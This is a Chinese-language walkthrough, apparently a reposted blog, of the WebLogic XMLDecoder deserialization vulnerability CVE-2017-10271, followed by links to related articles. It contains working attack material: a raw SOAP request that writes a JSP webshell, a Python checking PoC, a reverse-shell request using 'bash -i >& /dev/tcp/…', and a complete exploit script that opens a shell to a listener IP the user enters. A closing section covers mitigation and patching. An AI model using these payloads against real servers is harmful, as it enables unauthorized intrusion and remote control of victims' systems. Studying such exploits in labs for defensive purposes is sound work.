CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

漏洞產生原因:

CVE-2017-10271漏洞產生的原因大致是Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者發送精心構造的xml數據甚至能通過反彈shell拿到權限。

涉及版本:

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

環境搭建:

vulhub

工具利用:

檢測:
工具:weblogicScanner   https://github.com/0xn0ne/weblogicScanner使用說明:

需要pip安裝request

使用說明
usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY[VULNERABILITY ...] [-o OUTPUT]optional arguments:-h, --help            幫助信息-t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]直接填入目標或文件列表(默認使用端口7001). 例子:127.0.0.1:7001-v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]漏洞名稱或CVE編號,例子:"weblogic administrator console"-o OUTPUT, --output OUTPUT輸出 json 結果的路徑。默認不輸出結果-s, --ssl             強制使用 https 協議請求

效果:在這里插入圖片描述

weblogicScanner使用說明: WeblogicScan Weblogic漏洞掃描器 | 🔰雨蓯?🔰 (ddosi.com)
注:目前暫不支持Weblogic 10.3.6 Weblogic 12.1.3.0.0和Weblogic12.2.1.3.0 JDK1.7版本的CVE-2019-2729漏洞檢測。

在這里插入圖片描述
忽略:“

淦!想要這個工具,沒找到

訪問:http://ip:7001/wls-wsat/CoordinatorPortType11 顯示如下:

通過漏洞寫入webshell:

訪問:http://ip:7001/wls-wsat/CoordinatorPortType在這里插入圖片描述
抓包改包:
將get方式改為POST
將webshell替換上去
webshell:在這里插入圖片描述

POST s-wsat/CoordinatorPortType HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string><oid><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

之后訪問: http://ip:7001/bea_wls_internal/test.jsp

上傳的網頁顯示成功,說明測試成功

另一個webshell,效果是ipconfig

在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述
腳本利用:
python3:

import requestsheaders = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0','Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Upgrade-Insecure-Requests': '1','Content-Type': 'text/xml'}
def Webogic_XMLDecoder_poc(url):
# 輸入url:#url="http://ip:7001"posturl=url+'s-wsat/CoordinatorPortType'data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.6.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internals-wsat/54p17w/war/test.txt</string><void method="println"><string>xmldecoder_vul_test</string><oid><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'''print (url)try:r=requests.post(posturl,data=data,headers=headers,timeout=5)geturl=url+"s-wsat/test.txt"print (geturl)check_result = requests.get(geturl,headers=headers,timeout=5)if 'xmldecoder_vul_test' in check_result.text:print ("[+]存在WebLogic WLS遠程執行漏洞(CVE-2017-10271)")except:print ("[-]不存在WebLogic WLS遠程執行漏洞(CVE-2017-10271)")if __name__ == '__main__':url = "http://192.168.189.137:7001"Webogic_XMLDecoder_poc(url)

在這里插入圖片描述

額…不過這里運行腳本顯示這個cve不存在。。。。emmm

反彈shell:
抓包改包為:

GET / HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
<oid>
<void index="1">
<string>-c</string>
<oid>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.184.1/7089 0&gt;&amp;1</string>
<oid>
</array>
<void method="start"/><oid>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

注意:注意:在真實環境下,攻擊機的IP必須是公網的IP,否則靶機無法返回webshell連接
這里的反彈shell效果用了大佬的圖:

在這里插入圖片描述
可以看到獲得了靶機的root權限

反彈shell的exp:

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.techimport requests
import sys
import jsondef title():print('+------------------------------------------')print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')print('+  \033[34m公眾號 : PeiQi文庫                                                     \033[0m')print('+  \033[34mVersion: Weblogic 10.3.6.0.0            \033[0m')print('+  \033[34m         Weblogic 12.1.3.0.0            \033[0m')print('+  \033[34m         Weblogic 12.2.1.0.0            \033[0m')print('+  \033[34m         Weblogic 12.2.1.2.0            \033[0m')print('+  \033[36m使用格式: python3 CVE-2017-10271.py      \033[0m')print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:7001  \033[0m')print('+  \033[36mCmd    >>> shell(反彈shell)              \033[0m')print('+------------------------------------------')def POC_1(target_url, IP, PORT):vuln_url = target_url + "s-wsat/CoordinatorPortType"headers = {"Content-Type": "text/xml","User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string><oid><void index="1"><string>-c</string><oid><void index="2"><string>bash -i &gt;&amp; /dev/tcp/%s/%s 0&gt;&amp;1</string><oid></array><void method="start"/><oid></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>""" % (IP,PORT)try:response = requests.request("POST", url=vuln_url, headers=headers, data=data)except:print("\033[31m[x] 漏洞利用失敗 \033[0m")if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))IP = str(input("\033[35m請輸入監聽IP   >>> \033[0m"))PORT = str(input("\033[35m請輸入監聽PORT >>> \033[0m"))POC_1(target_url, IP, PORT)

防護:

1.臨時解決方案根據攻擊者利用POC分析發現所利用的為wls-wsat組件的CoordinatorPortType接口,若Weblogic服務器集群中未應用此組件,建議臨時備份后將此組件刪除,當形               成防護能力后,再進行恢復。根據實際環境路徑,刪除WebLogic wls-wsat組件:rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat刪除后重啟Weblogic域控制器服務:DOMAIN_NAME/bin/stopWeblogic.sh           #停止服務DOMAIN_NAME/bin/startManagedWebLogic.sh    #啟動服務刪除以上文件之后,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/ 是否為404頁面。2.官方補丁修復前往Oracle官網下載10月份所提供的安全補丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升級過程可參考:http://blog.csdn.net/qqlifu/article/details/49423839

參考:代碼分析 weblogic XMLDecoder反序列化漏洞-CVE-2017-10271 | pirogue

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:
http://www.pswp.cn/news/532571.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532571.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532571.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

樹莓派攝像頭 C++ OpenCV YoloV3 實現實時目標檢測

樹莓派攝像頭 C OpenCV YoloV3 實現實時目標檢測 本文將實現樹莓派攝像頭 C OpenCV YoloV3 實現實時目標檢測&#xff0c;我們會先實現樹莓派對視頻文件的逐幀檢測來驗證算法流程&#xff0c;成功后&#xff0c;再接入攝像頭進行實時目標檢測。 先聲明一下筆者的主要軟硬件配…

【實戰】記錄一次服務器挖礦病毒處理

信息收集及kill&#xff1a; 查看監控顯示長期CPU利用率超高&#xff0c;懷疑中了病毒 top 命令查看進程資源占用&#xff1a; netstat -lntupa 命令查看有無ip進行發包 netstat -antp 然而并沒有找到對應的進程名 查看java進程和solr進程 ps aux &#xff1a;查看所有進程…

ag 搜索工具參數詳解

ag 搜索工具參數詳解 Ag 是類似ack&#xff0c; grep的工具&#xff0c;它來在文件中搜索相應關鍵字。 官方列出了幾點選擇它的理由&#xff1a; 它比ack還要快 &#xff08;和grep不在一個數量級上&#xff09;它會忽略.gitignore和.hgignore中的匹配文件如果有你想忽略的文…

CVE-2013-4547 文件名邏輯漏洞

搭建環境&#xff0c;訪問 8080 端口 漏洞說明&#xff1a; Nginx&#xff1a; Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件&#xff08;IMAP/POP3&#xff09;代理服務器&#xff0c;在BSD-like 協議下發行。其特點是占有內存少&#xff0c;并發能力強&#xf…

CMake指令入門 ——以構建OpenCV項目為例

CMake指令入門 ——以構建OpenCV項目為例 轉自&#xff1a;https://blog.csdn.net/sandalphon4869/article/details/100589747 一、安裝 sudo apt-get install cmake安裝好后&#xff0c;輸入 cmake -version如果出現了cmake的版本顯示&#xff0c;那么說明安裝成功 二、c…

CVE-2017-7529Nginx越界讀取緩存漏洞POC

漏洞影響 低危&#xff0c;造成信息泄露&#xff0c;暴露真實ip等 實驗內容 漏洞原理 通過查看patch確定問題是由于對http header中range域處理不當造成&#xff0c;焦點在ngx_http_range_parse 函數中的循環&#xff1a; HTTP頭部range域的內容大約為Range: bytes4096-81…

Linux命令行性能監控工具大全

Linux命令行性能監控工具大全 作者&#xff1a;Arnold Lu 原文&#xff1a;https://www.cnblogs.com/arnoldlu/p/9462221.html 關鍵詞&#xff1a;top、perf、sar、ksar、mpstat、uptime、vmstat、pidstat、time、cpustat、munin、htop、glances、atop、nmon、pcp-gui、collect…

Weblogic12c T3 協議安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 關注公眾號&#xff1a;b1gpig信息安全&#xff0c;文章推送不錯過 ## 前言 WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAV…

Getshell總結

按方式分類&#xff1a; 0x01注入getshell&#xff1a; 0x02 上傳 getwebshell 0x03 RCE getshell 0x04 包含getwebshell 0x05 漏洞組合拳getshell 0x06 系統層getcmdshell 0x07 釣魚 getcmdshell 0x08 cms后臺getshell 0x09 紅隊shell競爭分析 0x01注入getshell&#xff1a;…

編寫可靠bash腳本的一些技巧

編寫可靠bash腳本的一些技巧 原作者&#xff1a;騰訊技術工程 原文鏈接&#xff1a;https://zhuanlan.zhihu.com/p/123989641 寫過很多 bash 腳本的人都知道&#xff0c;bash 的坑不是一般的多。 其實 bash 本身并不是一個很嚴謹的語言&#xff0c;但是很多時候也不得不用。以下…

python 到 poc

0x01 特殊函數 0x02 模塊 0x03 小工具開發記錄 特殊函數 # -*- coding:utf-8 -*- #內容見POC.demo; POC.demo2 ;def add(x,y):axyprint(a)add(3,5) print(------------引入lambad版本&#xff1a;) add lambda x,y : xy print(add(3,5)) #lambda函數,在lambda函數后面直接…

protobuf版本常見問題

protobuf版本常見問題 許多軟件都依賴 google 的 protobuf&#xff0c;我們很有可能在安裝多個軟件時重復安裝了多個版本的 protobuf&#xff0c;它們之間很可能出現沖突并導致在后續的工作中出現版本不匹配之類的錯誤。本文將討論筆者在使用 protobuf 中遇到的一些問題&#…

CMake常用命令整理

CMake常用命令整理 轉自&#xff1a;https://zhuanlan.zhihu.com/p/315768216 CMake 是什么我就不用再多說什么了&#xff0c;相信大家都有接觸才會看一篇文章。對于不太熟悉的開發人員可以把這篇文章當個查找手冊。 1.CMake語法 1.1 指定cmake的最小版本 cmake_minimum_r…

CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞復現 目錄穿越漏洞

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; CVE-2021-41773漏洞描述&#xff1a; Apache HTTPd是Apache基金會開源的一款流行的HTTP服務器。2021年10月8日Apache HTTPd官方發布安全更新&#xff0c;披…

SSRF,以weblogic為案例

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 復習一下ssrf的原理及危害&#xff0c;并且以weblog的ssrf漏洞為案例 漏洞原理 SSRF(Server-side Request Forge, 服務端請求偽造) 通常用于控制web進而…

C++11 右值引用、移動語義、完美轉發、萬能引用

C11 右值引用、移動語義、完美轉發、引用折疊、萬能引用 轉自&#xff1a;http://c.biancheng.net/ C中的左值和右值 右值引用可以從字面意思上理解&#xff0c;指的是以引用傳遞&#xff08;而非值傳遞&#xff09;的方式使用 C 右值。關于 C 引用&#xff0c;已經在《C引用…

C++11 std::function, std::bind, std::ref, std::cref

C11 std::function, std::bind, std::ref, std::cref 轉自&#xff1a;http://www.jellythink.com/ std::function 看看這段代碼 先來看看下面這兩行代碼&#xff1a; std::function<void(EventKeyboard::KeyCode, Event*)> onKeyPressed; std::function<void(Ev…

Java安全(一) : java類 | 反射

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.java基礎 Java平臺共分為三個主要版本Java SE&#xff08;Java Platform, Standard Edition&#xff0c;Java平臺標準版&#xff09;、Java EE&#xff0…

LeetCode-287 尋找重復數 二分法

LeetCode-287 尋找重復數 二分法 287. 尋找重復數 給定一個包含 n 1 個整數的數組 nums &#xff0c;其數字都在 1 到 n 之間&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一個重復的整數。 假設 nums 只有 一個重復的整數 &#xff0c;找出 這個重復的數 。…

對某公司一次弱口令到存儲型xss挖掘

轉自我的奇安信攻防社區文章:https://forum.butian.net/share/885 免責聲明: 滲透過程為授權測試,所有漏洞均以提交相關平臺,博客目的只為分享挖掘思路和知識傳播** 涉及知識: xss注入及xss注入繞過 挖掘過程: 某次針對某目標信息搜集無意發現某工程公司的項目招標平臺 …